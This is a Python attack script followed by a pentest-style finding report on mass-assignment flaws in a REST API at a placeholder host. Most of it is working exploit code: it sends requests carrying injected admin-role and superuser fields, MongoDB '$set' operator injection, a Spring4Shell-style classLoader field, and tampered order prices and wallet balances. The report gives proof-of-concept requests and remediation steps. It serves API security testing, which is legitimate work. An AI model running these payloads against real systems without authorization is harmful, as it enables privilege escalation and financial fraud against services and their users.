import requests
import json
import copy
 
BASE_URL = "https://target-api.example.com/api/v1"
user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}
 
# Identify endpoints that accept write operations
writable_endpoints = [
    {"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]},
    {"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]},
    {"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]},
    {"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]},
    {"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]},
    {"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]},
    {"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]},
    {"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]},
]
 
# First, get the current user state as baseline
baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Baseline user state: {json.dumps(baseline_user, indent=2)}")

# Fields that should never be user-writable
PRIVILEGE_FIELDS = {
    "role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin",
                       "account_type": "admin", "accountType": "admin"},
    "admin_flags": {"is_admin": True, "isAdmin": True, "admin": True,
                    "is_superuser": True, "isSuperuser": True, "superuser": True},
    "permission_override": {"permissions": ["*"], "scopes": ["admin:*"],
                           "groups": ["administrators"], "roles": ["admin"]},
    "account_status": {"is_active": True, "isActive": True, "verified": True,
                       "email_verified": True, "is_verified": True, "status": "active"},
    "financial": {"balance": 99999.99, "credit": 99999, "discount": 100,
                  "price": 0.01, "amount": 0.01},
    "ownership": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
                  "created_by": 1, "createdBy": 1},
    "internal": {"internal_notes": "test", "debug": True, "hidden": False,
                 "is_deleted": False, "is_featured": True, "priority": 0},
    "temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
                 "createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
}
 
def test_mass_assignment(endpoint_info):
    """Test a writable endpoint for mass assignment vulnerabilities."""
    method = endpoint_info["method"]
    path = endpoint_info["path"]
    expected = endpoint_info["expected_fields"]
    findings = []
 
    # Build a valid base request
    base_body = {}
    for field in expected:
        if field == "email":
            base_body[field] = "test@example.com"
        elif field == "password":
            base_body[field] = "SecurePass123!"
        elif field == "name":
            base_body[field] = "Test User"
        elif field == "items":
            base_body[field] = [{"product_id": 1, "quantity": 1}]
        else:
            base_body[field] = "test_value"
 
    # Test each category of privileged fields
    for category, fields in PRIVILEGE_FIELDS.items():
        test_body = {**base_body, **fields}
        resp = requests.request(method, f"{BASE_URL}{path}",
                              headers=user_headers, json=test_body)
 
        if resp.status_code in (200, 201):
            # Verify if the fields were actually set
            resp_data = resp.json()
            for field_name, injected_value in fields.items():
                actual = resp_data.get(field_name)
                if actual is not None and str(actual) == str(injected_value):
                    findings.append({
                        "endpoint": f"{method} {path}",
                        "category": category,
                        "field": field_name,
                        "injected_value": injected_value,
                        "confirmed": True
                    })
                    print(f"[MASS ASSIGNMENT] {method} {path}: {field_name}={injected_value} accepted")
 
    return findings
 
all_findings = []
for endpoint in writable_endpoints:
    findings = test_mass_assignment(endpoint)
    all_findings.extend(findings)
 
print(f"\nTotal mass assignment findings: {len(all_findings)}")

def verify_mass_assignment(field_name, injected_value, verification_endpoint="/users/me"):
    """Verify that the mass-assigned field actually persists in the database."""
    # Re-fetch the object to confirm the field was saved
    resp = requests.get(f"{BASE_URL}{verification_endpoint}", headers=user_headers)
    if resp.status_code == 200:
        current_state = resp.json()
        actual_value = current_state.get(field_name)
        if actual_value is not None:
            match = str(actual_value) == str(injected_value)
            print(f"  Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED' if match else 'NOT MATCHED'}")
            return match
    return False
 
# Test role elevation via profile update
print("\n=== Role Elevation Test ===")
# Step 1: Check current role
me = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Current role: {me.get('role', 'unknown')}")
 
# Step 2: Attempt to set admin role
update_resp = requests.put(f"{BASE_URL}/users/me",
    headers=user_headers,
    json={"name": me.get("name", "Test"), "role": "admin"})
print(f"Update response: {update_resp.status_code}")
 
# Step 3: Verify if role changed
me_after = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Role after update: {me_after.get('role', 'unknown')}")
if me_after.get("role") == "admin":
    print("[CRITICAL] Mass assignment: Role elevated to admin")
 
# Step 4: Test admin access
admin_resp = requests.get(f"{BASE_URL}/admin/users", headers=user_headers)
if admin_resp.status_code == 200:
    print("[CRITICAL] Admin access confirmed after role elevation")

# Ruby on Rails / Active Record style
rails_payloads = [
    {"user": {"name": "Test", "role": "admin", "admin": True}},  # Nested under model name
    {"user[name]": "Test", "user[role]": "admin"},                # Form-style nested
]
 
# Django REST Framework style
django_payloads = [
    {"username": "test", "is_staff": True, "is_superuser": True},
    {"username": "test", "groups": [1]},  # Add to admin group by ID
]
 
# Express.js / Mongoose style
express_payloads = [
    {"name": "test", "__v": 0, "_id": "000000000000000000000001"},  # Override MongoDB _id
    {"name": "test", "$set": {"role": "admin"}},                     # MongoDB operator injection
]
 
# Spring Boot / JPA style
spring_payloads = [
    {"name": "test", "authorities": [{"authority": "ROLE_ADMIN"}]},
    {"name": "test", "class.module.classLoader": ""},  # Spring4Shell style
]
 
# Test each framework-specific payload
for payload in rails_payloads + django_payloads + express_payloads + spring_payloads:
    resp = requests.put(f"{BASE_URL}/users/me", headers=user_headers, json=payload)
    if resp.status_code in (200, 201):
        print(f"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}")

# Test price/amount manipulation in e-commerce APIs
print("\n=== Financial Mass Assignment Tests ===")
 
# Test 1: Create order with manipulated price
order_body = {
    "items": [{"product_id": 42, "quantity": 1}],
    "shipping_address": {"street": "123 Test St", "city": "Test City"},
    # Injected fields
    "total": 0.01,
    "subtotal": 0.01,
    "discount_percent": 100,
    "coupon_code": "FREEORDER",
    "shipping_cost": 0,
    "tax": 0,
}
 
resp = requests.post(f"{BASE_URL}/orders", headers=user_headers, json=order_body)
if resp.status_code in (200, 201):
    order = resp.json()
    print(f"Order created - Total: {order.get('total', 'N/A')}, Discount: {order.get('discount_percent', 'N/A')}")
    if float(order.get("total", 999)) < 1.0:
        print("[CRITICAL] Price manipulation via mass assignment")
 
# Test 2: Modify order status
resp = requests.patch(f"{BASE_URL}/orders/1001",
    headers=user_headers,
    json={"status": "completed", "payment_status": "paid", "refund_amount": 0})
if resp.status_code == 200:
    print(f"[MASS ASSIGNMENT] Order status/payment fields modified")
 
# Test 3: User balance manipulation
resp = requests.put(f"{BASE_URL}/users/me/wallet",
    headers=user_headers,
    json={"amount": 10, "balance": 99999.99, "currency": "USD"})
if resp.status_code == 200:
    wallet = resp.json()
    if float(wallet.get("balance", 0)) > 10000:
        print("[CRITICAL] Wallet balance manipulation via mass assignment")

## Finding: Mass Assignment Enables Role Elevation via Registration API
 
**ID**: API-MASS-001
**Severity**: Critical (CVSS 9.8)
**OWASP API**: API3:2023 - Broken Object Property Level Authorization
**Affected Endpoints**:
  - POST /api/v1/register
  - PUT /api/v1/users/me
  - POST /api/v1/orders
 
**Description**:
The API binds all client-supplied JSON fields directly to the database model
without filtering. An attacker can include undocumented fields in registration
and update requests to elevate their role to admin, bypass email verification,
modify wallet balances, and manipulate order pricing.
 
**Proof of Concept**:
1. Register with injected role:
   POST /api/v1/register
   {"name":"Attacker","email":"attacker@evil.com","password":"P@ss123!","role":"admin"}
   Response: {"id":5001,"name":"Attacker","role":"admin","is_verified":false}
 
2. Update profile with injected balance:
   PUT /api/v1/users/me
   {"name":"Attacker","balance":99999.99}
   Response: {"id":5001,"balance":99999.99}
 
3. Create order with manipulated price:
   POST /api/v1/orders
   {"items":[{"product_id":42,"qty":1}],"total":0.01}
   Response: {"order_id":8001,"total":0.01}
 
**Impact**:
Any user can gain administrative access, manipulate financial data,
bypass security controls, and purchase products at arbitrary prices.
 
**Remediation**:
1. Implement DTOs/input schemas that explicitly define allowed fields per endpoint per role
2. Use framework-specific mass assignment protection (Rails: strong parameters, Django: serializer fields)
3. Never bind request parameters directly to the data model
4. Add integration tests that verify undocumented fields are rejected
5. Use an allowlist approach rather than blocklist for writable fields